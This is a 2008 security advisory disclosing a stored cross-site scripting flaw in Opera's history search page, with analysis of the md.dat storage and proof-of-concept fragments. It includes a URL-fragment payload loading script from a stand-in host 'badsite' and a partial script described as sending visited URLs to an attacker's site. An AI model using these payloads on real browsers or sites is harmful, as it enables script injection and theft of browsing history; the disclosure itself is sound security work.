October 22, 2008

Security advisory

= Opera Stored Cross Site Scripting Vulnerability
= Vendor Website:
= http://www.opera.com
= Affected Version:
= -- All desktop versions
= Public disclosure on 22nd October 2008
Available online at:


== Issue Details ==

Opera browser is vulnerable to stored Cross Site Scripting. A malicious attacker is able to inject
arbitrary browser content through the websites visited with the Opera browser. The code
injection is rendered into the Opera History Search page which displays URL and a short
description of the visited pages.

== Bug Analysis ==

Opera.exe imports Opera.dll which handles most of the browser functionality.
Whenever a user visits a page, the URL, and a part of the content of the visited page is saved and
compressed in a file named md.dat . The file md.dat can be found at the following path in a
standard Windows Opera installation:

c:\Documents and Settings\user\Local

The vulnerability exists in the way the URL and the content of visited page is stored and rendered from
the md.dat file.

== Opera History Search Page Generation ==

User visits a new site. When the user closes the Opera browser, the file md.dat is updated. The Opera browser appends a block of 2000 bytes for each site visited.

The site URL and title are extracted and put in clear text at begin of the 2000 bytes block.

The preview content which appears on opera:historysearch page for the site is compressed
into the file md.dat. However, the HTML encoding is not consistent across the URL scheme of the site and
the injection is possible in the optional fragment of the URL (after the # character).

The following sequence summarises an attack scenario:

1.User visits http://aaa.com/index.htm#<script src=http://badsite/bad.js></script>
2.URL and preview content is stored in the history search page. However, the optional fragment after the
character # is not encoded properly.
3.If the user visits the history search page, the cross site scripting is rendered in the user browser

== Opera History Search Page Rendering ==

When accessing the History Search page, Opera reads the file md.dat again. The content from md.dat is
decompressed and saved into a buffer.
The buffer is then used to generate a cache file that contains the HTML code of the history search page.
The cache file can be found such as:

c:\Documents and Settings\user\Local

Then Opera reads the content from the cache file to display the history search page. The HTML code is not
escaped for the optional fragment on the URL of the visited pages.

== Opera History/Cookie Exposed – Exploit Description

Victim visits site xxx/1.html and clicks on the link.
The 1.html source code:


<a href='http://xxx/2.html#<script

The link includes the cross site scripting injection and brings the victim to page 2.html. The web server
returns 200 OK. The 2.html source code:


This is a proof of concept.

The user is then redirected to the opera:historysearch page where the injection has been stored in the
history after the user followed the link from 1.html. The injection inserted a malicious
JavaScript a.js which is executed when the user reaches the opera history search page.


var x;
for (x in document.links)

The malicious JavaScript includes a cross site forged request that dumps the URL of the visited pages to a
third site yyy controlled by the attacker. Finally the user is redirected to another
page 3.html (which can be just a landing page).

== Opera History Cross Site Scripting and Cross Site
Request Forgery ==

This is the HTML source code of the opera:historysearch?q=* page following the injection

<li value="3">
<h2><a href="http://xxx/2.html#<script
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> —

Note that in Opera 9.52, the injection is possible in other locations:

URL: http://xxx/2.html?a="><script


<li value="3">
<h2><a href=http://xxx/2.html?a="><script

URL: http://xxx/2.html?a=<script


<li value="3">
<h2><a href="http://xxx/2.html?a=<script
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> —

Opera 9.60 has partially fixed the issues above but the HTML encoding is still not consistent.

== Credit ==

Discovered and advised to Opera
October 2008 by Roberto Suggi Liverani of
Personal Page: http://malerisch.net

== Greetings ==

To all my SA colleagues - you guys rock! ;-)

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